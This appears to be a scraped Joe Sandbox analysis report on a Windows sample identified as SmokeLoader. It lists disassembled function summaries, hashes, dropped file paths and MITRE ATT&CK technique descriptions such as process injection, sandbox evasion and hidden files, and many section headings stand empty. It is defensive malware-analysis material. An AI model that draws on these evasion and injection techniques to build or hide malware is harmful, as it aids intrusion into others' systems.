Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: CryptDestroyHash
String ID:
API String ID: 174375392-0
Opcode ID: ab67b30743256aee4ee3b9a1c14ddcbbbea7e189e2c09e5506ec39e4105f8026
Instruction ID: 50bff77f3e6df93792148fc9ba00fbee6659cfa749139e383dae911b241110e4
Opcode Fuzzy Hash: ab67b30743256aee4ee3b9a1c14ddcbbbea7e189e2c09e5506ec39e4105f8026
Instruction Fuzzy Hash: AA5210344052AE8FDB11DF24D880BC9BBB5BF56308F4491E6C488A7752D7B46B89CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD40 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(008ADC14,00000000,0040CE44,?,?,?,00000000,?,0040D70C,00000000,0040D76B,?,?,00000000,00000000,00000000), ref: 0040CD5E
LeaveCriticalSection.KERNEL32(008ADC14,008ADC14,00000000,0040CE44,?,?,?,00000000,?,0040D70C,00000000,0040D76B,?,?,00000000,00000000), ref: 0040CD82
LeaveCriticalSection.KERNEL32(008ADC14,008ADC14,00000000,0040CE44,?,?,?,00000000,?,0040D70C,00000000,0040D76B,?,?,00000000,00000000), ref: 0040CD91
IsValidLocale.KERNEL32(00000000,00000002,008ADC14,008ADC14,00000000,0040CE44,?,?,?,00000000,?,0040D70C,00000000,0040D76B), ref: 0040CDA3
EnterCriticalSection.KERNEL32(008ADC14,00000000,00000002,008ADC14,008ADC14,00000000,0040CE44,?,?,?,00000000,?,0040D70C,00000000,0040D76B), ref: 0040CE00
LeaveCriticalSection.KERNEL32(008ADC14,008ADC14,00000000,00000002,008ADC14,008ADC14,00000000,0040CE44,?,?,?,00000000,?,0040D70C,00000000,0040D76B), ref: 0040CE29

Strings

en-US,en,, xrefs: 0040CD6E, 0040CE15

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-US,en,
API String ID: 975949045-3579323720
Opcode ID: 6ae5857e4506fbe12fe28e77ee88e855aae8d1fbab5fe6f337aed850c569c3ae
Instruction ID: 1e1d3b9349122117005ea94893b3b9f41c4e8d9279000f1fe72f09228e9374f1
Opcode Fuzzy Hash: 6ae5857e4506fbe12fe28e77ee88e855aae8d1fbab5fe6f337aed850c569c3ae
Instruction Fuzzy Hash: 48216220704710EBE710B76AC89275E2599EF46718B90453BB001F6BC2C9BC8C41D7AE

Uniqueness

Uniqueness Score: -1.00%

Function 00405EE4 Relevance: 10.9, APIs: 7, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3fb30baf3b69651b762d8113197e9e4446f399f61267d7f4205265ef8e08ec9
Instruction ID: e92eaf3ff3e09107ede235038e047a6ff9cc1d11e47e23f17a09ae4ad2eea443
Opcode Fuzzy Hash: b3fb30baf3b69651b762d8113197e9e4446f399f61267d7f4205265ef8e08ec9
Instruction Fuzzy Hash: E3C14572710A010BE714AA7D9C8476FB686DBC5325F18823FE215EB3D6EA7CCC558B48

Uniqueness

Uniqueness Score: -1.00%

Function 00408930 Relevance: 10.6, APIs: 7, Instructions: 130threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00408DBC: GetCurrentThreadId.KERNEL32 ref: 00408DBF

GetTickCount.KERNEL32 ref: 00408967
GetTickCount.KERNEL32 ref: 0040897F
GetCurrentThreadId.KERNEL32 ref: 004089AE
GetTickCount.KERNEL32 ref: 004089D9
GetTickCount.KERNEL32 ref: 00408A10
GetTickCount.KERNEL32 ref: 00408A3A
GetCurrentThreadId.KERNEL32 ref: 00408AAA

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: d8f76c9983ab303e4a2a6eb0811938a6070511537a287b3d8342561fb0ddf730
Instruction ID: 97f6f4a4bb359f6e06a49a51cc82c85dbc79a7bf2bbc3ca021f0fc766c487bd8
Opcode Fuzzy Hash: d8f76c9983ab303e4a2a6eb0811938a6070511537a287b3d8342561fb0ddf730
Instruction Fuzzy Hash: 454180706083419ED721AE7CC68432BBBD1AF90354F18893FD4D8977C2EE7888818B5B

Uniqueness

Uniqueness Score: -1.00%

Function 004086A8 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLogicalProcessorInformation), ref: 004086BD
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004086C3
GetLastError.KERNEL32(00000000,?,GetLogicalProcessorInformation), ref: 004086DF

Strings

GetLogicalProcessorInformation, xrefs: 004086B3
kernel32.dll, xrefs: 004086B8
@, xrefs: 0040875D

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: @$GetLogicalProcessorInformation$kernel32.dll
API String ID: 4275029093-79381301
Opcode ID: df89b094c4fc9ecf5a0342b6ce30508c82d4132e246c04c3c4f41307faea38b2
Instruction ID: 15214c6c6b9f0fa70b4615478ddb3ab3236ccbb59b387d90588494102e7edd23
Opcode Fuzzy Hash: df89b094c4fc9ecf5a0342b6ce30508c82d4132e246c04c3c4f41307faea38b2
Instruction Fuzzy Hash: 5D117274D00208AEDB20EBA5CE45B6EB7B4DB45304F6084BFE854B72C1DB7C9A408F59

Uniqueness

Uniqueness Score: -1.00%

Function 00409930 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?,00000000,00000000,00409B02,00409B1C,?,?,00410258), ref: 00409969
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?,00000000,00000000,00409B02,00409B1C), ref: 0040996F
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?,00000000), ref: 0040998A
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?), ref: 00409990

Strings

Runtime error at 00000000, xrefs: 00409962, 004099A7
Error, xrefs: 004099A2

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 940674207d66ce2508097593aa5d6adaf40bf27376d7cd72aa1c20ae4ba549f0
Instruction ID: 66a8fc6f3927206ba17adebf6fa23ce3f892fd0946112a400a7a9d52c56287d1
Opcode Fuzzy Hash: 940674207d66ce2508097593aa5d6adaf40bf27376d7cd72aa1c20ae4ba549f0
Instruction Fuzzy Hash: EEF0AFE0640B00B8FA20A3916C17F2B2A58A702B25F54423FB220B9AD3C7BC48C44A69

Uniqueness

Uniqueness Score: -1.00%

Function 006C3048 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 006C3057

Strings

X*l, xrefs: 006C3098

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: ClearVariant
String ID: X*l
API String ID: 1473721057-3061925697
Opcode ID: e21ce2cafc081b25742dda36fe5fc48425e70b06716ac3f0bdea40936187c092
Instruction ID: e2579ad48a9ad2e6a598501fdd0bb7f9e1bcd0190c794d120b178e91e8997215
Opcode Fuzzy Hash: e21ce2cafc081b25742dda36fe5fc48425e70b06716ac3f0bdea40936187c092
Instruction Fuzzy Hash: 5D01B12270412086DB20BB34C886FB522DBEF05700B60947EB4069F317DB75CE86C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC24 Relevance: 6.1, APIs: 4, Instructions: 95threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 0040CC35
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 0040CC93
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 0040CCF0
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 0040CD23

Part of subcall function 0040CBE0: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,0040CCA1), ref: 0040CBF7
Part of subcall function 0040CBE0: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,0040CCA1), ref: 0040CC14

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: d2c6e7bba8bc72bbbdf077e3e4acd4a6484c427f75bab13a3a274035a5d700a8
Instruction ID: b0102d0044ab73f23b321d7d6f6602272ae1975ebb88da2099e514141e5eeb9e
Opcode Fuzzy Hash: d2c6e7bba8bc72bbbdf077e3e4acd4a6484c427f75bab13a3a274035a5d700a8
Instruction Fuzzy Hash: 4D316F30A0421ADBDB10EFA9D885AAFB7B8FF04314F10467AE515E7391D7789A04CB94

Uniqueness

Uniqueness Score: -1.00%

Function 006C3874 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32 ref: 006C389C

Part of subcall function 006C3048: VariantClear.OLEAUT32 ref: 006C3057

Strings

X*l, xrefs: 006C3916

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Variant$ClearCopy
String ID: X*l
API String ID: 274517740-3061925697
Opcode ID: f426b7a77b9917056d4fba03141a3df1ecbde20aff7f728fa90f02b563c57196
Instruction ID: cd52d73868f541c82f0ecb16cd641db90badaea0d44612472be3bd043e3e0d3f
Opcode Fuzzy Hash: f426b7a77b9917056d4fba03141a3df1ecbde20aff7f728fa90f02b563c57196
Instruction Fuzzy Hash: 742195307002218ACB60AF29C4C5FB677E7EF49710714C56EE48B8B316EA74CE86C766

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_c7d966c262eae458e8625727f886cf5c34890_82810a17_123adcc3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3392.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER497D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5054.tmp.xml

C:\Users\user\AppData\Local\Temp\5AF.exe

C:\Users\user\AppData\Local\Temp\ADCA.exe

C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll

C:\Users\user\AppData\Roaming\dfhwrav

C:\Users\user\AppData\Roaming\dfhwrav:Zone.Identifier

Static File Info

General

File Icon

Windows Analysis Report
file.exe

Function 004014CF Relevance: 10.7, APIs: 7, Instructions: 198
nativeCOMMON

Function 004014DB Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Function 004014ED Relevance: 10.7, APIs: 7, Instructions: 170
nativeCOMMON

Function 004014F0 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Function 00401501 Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Function 0207003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre